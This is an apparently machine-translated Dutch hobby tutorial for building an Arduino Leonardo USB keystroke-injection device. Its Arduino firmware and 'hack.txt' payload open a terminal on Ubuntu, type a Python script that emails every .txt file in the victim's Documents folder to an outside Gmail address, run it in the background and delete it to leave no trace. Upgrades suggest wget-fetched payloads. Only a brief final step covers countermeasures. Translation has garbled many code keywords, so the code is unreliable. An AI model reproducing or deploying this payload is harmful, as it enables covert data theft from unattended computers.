Arduino Keyboard Exploit Demo (HID) en preventie: 4 stappen (met afbeeldingen)

2024 Auteur: John Day | [email protected]. Laatst gewijzigd: 2024-01-30 11:18

In dit project gaan we een arduino leonardo gebruiken om een mogelijke USB-aanval te simuleren met behulp van HID (humain interface device).

Ik heb deze tutorial niet gemaakt om hackers te helpen, maar om je echte gevaren te laten zien en hoe je jezelf tegen die gevaren kunt beschermen. Dit apparaat is niet een apparaat dat op elk platform voor hackers kan worden gebruikt, het is meer een proof of concept in detail.

We gaan het volgende leren:

- hoe arduino leonardo te gebruiken om toetsenbord te emuleren

- hoe gegevens van SD-kaarten te lezen

- hoe maak je een python-script dat bestanden scant en e-mailt

- hoe u uzelf kunt beschermen tegen USB-hackapparaten

Stap 1: Materialen

Onderdelen:

1. Arduino leonardo

2. micro-USB-kaartlezer

3. een paar GB SD-kaart

4. drukknop zoals deze (VCC, Ground en signaal)

5. startkabels vrouwelijk-mannelijk en vrouwelijk-vrouwelijk;

6. micro-USB naar USB-kabel

Stap 2: Het apparaat bouwen

Laten we vóór de bouwinstructie het werkingsprincipe bekijken:

Arduino leonardo kan zich gedragen als een human interface device (HID) en kan daarom muis en toetsenbord emuleren. We gaan deze functie gebruiken om een terminal te openen (in UBUNTU linux) en een klein script te schrijven dat toegang zal krijgen tot de map /Documents in de thuismap van de gebruiker, kopieer.txt-bestanden daar en e-mail ze naar iemand. Als je meer details wilt weten, bekijk dan de volgende stap.

Omdat het een demo-apparaat is, zijn de dingen heel eenvoudig, we gaan niets solderen.

Bouwinstructies

Voordat we beginnen, controleer de bijgevoegde bestanden, ik heb fritzing-schema's en alle benodigde bestanden bijgevoegd

1. Monteer de componenten:

* steek de micro-USB-kabel in de arduino

* sluit de sleutelschakelaar aan op de arduino (aarde, vcc en uit module naar D8)

* sluit de kaartlezer aan op de arduino (met behulp van ICSP-header). Arduino leonardo heeft de ICSP-header niet aangesloten op digitale pinnen, dus u moet de kaartlezer op de ICSP-header aansluiten. Enkele tekeningen van de ICSP vind je hier: https://learn.sparkfun.com/tutorials/installing-an…. Verbind de SS-pin met de digitale pin 10

2. haal de arduino-code, je kunt mijn arduino-repository op github klonen: https://github.com/danionescu0/arduino en ga naar projects/keyboard_exploit of haal het hieronder:

#include "Toetsenbord.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Slaap::"; String commandStartingPoint = "Opdracht::"; int delayBetweenCommands = 10; const int knopPin = 8; const int chipSelecteer = 10; int previousButtonState = HOOG; void setup () { pinMode (buttonPin, INPUT); Serieel.begin(9600); Toetsenbord.begin(); if (!SD.begin(chipSelect)) { Serial.println("Kaart mislukt, of niet aanwezig!"); opbrengst; } } void loop () { int buttonState = digitalRead (buttonPin); if ((buttonState != previousButtonState) && (buttonState == HOOG)) { sdFileToKeyboard(); Serial.println("Geüpload!"); vertraging (500); } previousButtonState = buttonState; } void sdFileToKeyboard() { File dataFile = SD.open(filenameOnCard); if (!dataFile) { Serial.println("De opgegeven bestandsnaam is niet aanwezig op de SD-kaart, controleer bestandsnaamOnCard!"); } String lijn; while (dataFile.available()) { line = dataFile.readStringUntil('\n'); Serial.println(regel); sendToKeyboard(regel); } dataFile.close(); } void sendToKeyboard (String line) { String workingLine = lijn; if (workingLine.indexOf(sleepCommandStartingPoint) != -1) { sleepFor(line); opbrengst; } if (workingLine.indexOf(commandStartingPoint) == -1) { Serial.print("Text:");Serial.println(line); Toetsenbord.println(regel); druk op Enter(); opbrengst; } Serial.println("Opdracht:"); int charPosition = commandStartingPoint.length(); int lineLength = lijn.lengte(); werkende lijn += ", "; while (workingLine != "") { workingLine = workingLine.substring (charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition = workingLine.indexOf(", "); String commando = workingLine.substring(0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (opdracht!= "") { Serial.print("Opdracht gevonden:");Serial.println(opdracht); Keyboard.press(getCommandCode(commando)); vertraging (vertraging tussen opdrachten); } } Toetsenbord.releaseAll(); vertraging (vertraging tussen opdrachten); } void pressEnter() { Keyboard.press(KEY_RETURN); Toetsenbord.releaseAll(); } void sleepFor(String line) {int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Slapen voor:");Serial.println(sleepAmount); vertraging (slaapbedrag); } char getCommandCode (string tekst) { char textCharacters [2]; tekst.naarCharArray(tekstTekens, 2); char code = textCharacters[0]; code = (tekst == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL: code; code = (tekst == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT: code; code = (tekst == "KEY_LEFT_ALT") ? KEY_LEFT_ALT: code; code = (tekst == "KEY_UP_ARROW") ? KEY_UP_ARROW: code; code = (tekst == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW: code; code = (tekst == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW: code; code = (tekst == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW: code; code = (tekst == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI: code; code = (tekst == "KEY_BACKSPACE") ? KEY_BACKSPACE: code; code = (tekst == "KEY_TAB") ? KEY_TAB: code; code = (tekst == "KEY_RETURN") ? KEY_RETURN: code; code = (tekst == "KEY_ESC") ? KEY_ESC: code; code = (tekst == "KEY_INSERT") ? KEY_INSERT: code; code = (tekst == "KEY_DELETE") ? KEY_DELETE: code; code = (tekst == "KEY_PAGE_UP") ? KEY_PAGE_UP: code; code = (tekst == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN: code; code = (tekst == "KEY_HOME") ? KEY_HOME: code; code = (tekst == "KEY_END") ? KEY_END: code; code = (tekst == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK: code; code = (tekst == "KEY_F1") ? KEY_F1: code; code = (tekst == "KEY_F2") ? KEY_F2: code; code = (tekst == "KEY_F3") ? KEY_F3: code; code = (tekst == "KEY_F4") ? KEY_F4: code; code = (tekst == "KEY_F5") ? KEY_F5: code; code = (tekst == "KEY_F6") ? KEY_F6: code; code = (tekst == "KEY_F7") ? KEY_F7: code; code = (tekst == "KEY_F8") ? KEY_F8: code; code = (tekst == "KEY_F9") ? KEY_F9: code; code = (tekst == "KEY_F10") ? KEY_F10: code; code = (tekst == "KEY_F11") ? KEY_F1: code; code = (tekst == "KEY_F12") ? KEY_F2: code;

retourcode;

}

3. Upload de code naar de arduino, zorg ervoor dat u 9600 baudrate, de seriële poort en arduino leonardo selecteert

4. Formatteer de SD-kaart met FAT16 of FAT32

5. Als je de github-repo van boven hebt gekloond, kopieer dan het hack.txt-bestand op de kaart, zo niet, dan staat het bestand hieronder:

Commando::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep::500 vi hack.py Sleep::300 Commando::KEY_INSERT import smtplib import glob, os vanuit os.path import expanduser vanuit e-mail. MIMEMultipart import MIMEMultipart vanuit e-mail. MIMEBase import MIMEbase vanuit e-mail. MIMEText import MIMEText uit e-mail. Utils import COMMASPACE, formatdate uit e-mail import Encoders

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Documenten'

subject = body = 'Bestanden van gehackte computer'

header = 'Aan:{0}\nVan: {1}\nOnderwerp: {2}\n'.format(naar_adres, smtp_gebruiker, onderwerp)

def sendMail(naar, onderwerp, tekst, bestanden=):

msg = MIMEMultipart() msg['From'] = smtp_user msg['To'] = COMMASPACE.join(to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach (MIMEText(text)) voor bestand in bestanden: part = MIMEBase('application', "octet-stream") part.set_payload(open(file, "rb").read()) Encoders.encode_base64(part) part. add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(part)

server = smtplib. SMTP('smtp.gmail.com:587')

server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()

sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))

Slaapstand::50 Commando::KEY_ESC Slaapstand::100:x Slaapstand::500 nohup python hack.py & Slaapstand::700 rm -rf hack.py Slaapstand::400 Commando::KEY_LEFT_ALT, KEY_F4

6. Bewerk de volgende regels:

smtp_user = 'afzender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

En vervang door uw e-mailadressen

7. Verwijder de kaart en plaats deze in de arduino-kaartlezer

Stap 3: Hoe het werkt in details

Hoe de aanval zal werken:

1. Wanneer de knop wordt ingedrukt, zal de leonardo de sd-kaart lezen met behulp van een sd-kaartlezer. Een speciaal bestand met sleutels en toetsencombinatie zal op de kaart aanwezig zijn. De bestandsnaam is "hack.txt".

Het bestand kan onbewerkte tekst bevatten en wordt zoals het is doorgegeven aan het toetsenbord.

Het kan ook speciale commando's bevatten zoals "Sleep::" en "Command::".

Een regel als:

Slaap::200 betekent een slaap van 200 ms

Een regel als:

Commando::KEY_LEFT_CTRL, KEY_LEFT_ALT, t betekent linker ctrl ingedrukt, linker alt ingedrukt, t ingedrukt en allemaal losgelaten

U kunt alle speciale toetsen hier controleren:

2. Leonardo leest regel voor regel, interpreteert de opdrachten en emuleert de toetsen op het toetsenbord. Het bestand "hack.txt" bevat een combinatie van sleutels die het volgende doet (voor UBUNTU linux):

A. opent een terminal (CTRL + ALT + T)

B. opent een python-bestand om te maken met vi (schrijft "vi hack.py"

C. schrijft een python-script binnenin dat alle tekstbestanden in de thuismap van documenten verzamelt en deze naar een opgegeven Gmail-adres stuurt

NS. voert het bestand op de achtergrond uit ("nohup python hack.py &")

e. verwijdert het bestand (rm -rf hack.py)

F. sluit de terminal (ALT + F4)

Dit hele ding loopt in een paar seconden en laat geen sporen achter.

Verbeteringen en probleemoplossing

* Het is je misschien opgevallen dat nadat ik een terminal heb geopend, ik het python-bestand aan het schrijven ben. een betere manier om er naar toe te gaan, is door het ergens te hosten en het te downloaden met de opdracht "wget some_url" en vervolgens de naam te wijzigen in hack.py

* We kunnen ook een kant-en-klare exploit downloaden of uitvoeren voor het beoogde besturingssysteem

* wifi kan aan de module worden toegevoegd en de hacks kunnen worden geüpload via WIFI

* je kunt arduino micro gebruiken (die veel kleiner is) en er exploitcode op insluiten (om hem kleiner te maken)

Beperkingen

1. Omdat het gesimuleerde apparaat (toetsenbord en muis) geen feedback heeft, weten we niet wat er zal gebeuren na het geven van een commando dat betekent dat we vertragingen moeten gebruiken. Ik geef bijvoorbeeld een opdracht om de terminal te openen, maar ik weet niet wanneer deze daadwerkelijk open zal zijn, dus ik moet een willekeurige vertraging opgeven om ervoor te zorgen dat de tekens die daarna worden getypt niet verloren gaan.

2. We kunnen toestemmingsproblemen tegenkomen, zoals geen toegang hebben tot de USB-poort of de toestemming om iets te installeren

3. De typsnelheid is niet zo geweldig op leonardo

4. Werkt alleen op een gericht besturingssysteem (in ons geval UBUNTU linux)

In de volgende stap zullen we proberen manieren te vinden om deze beperkingen te misbruiken om te voorkomen dat onze computer wordt gehackt

Stap 4: Tegenmaatregelen

1. USB-poorten uitschakelen

- voor Windows kun je deze tutorial bekijken:

2. Witte lijst met USB-apparaten:

- voor Windows:

2. Vergrendel je computer als je niet weg bent

3. Log niet in als root (vereist wachtwoorden om iets te installeren)

4. Blijf op de hoogte (automatische updates aan)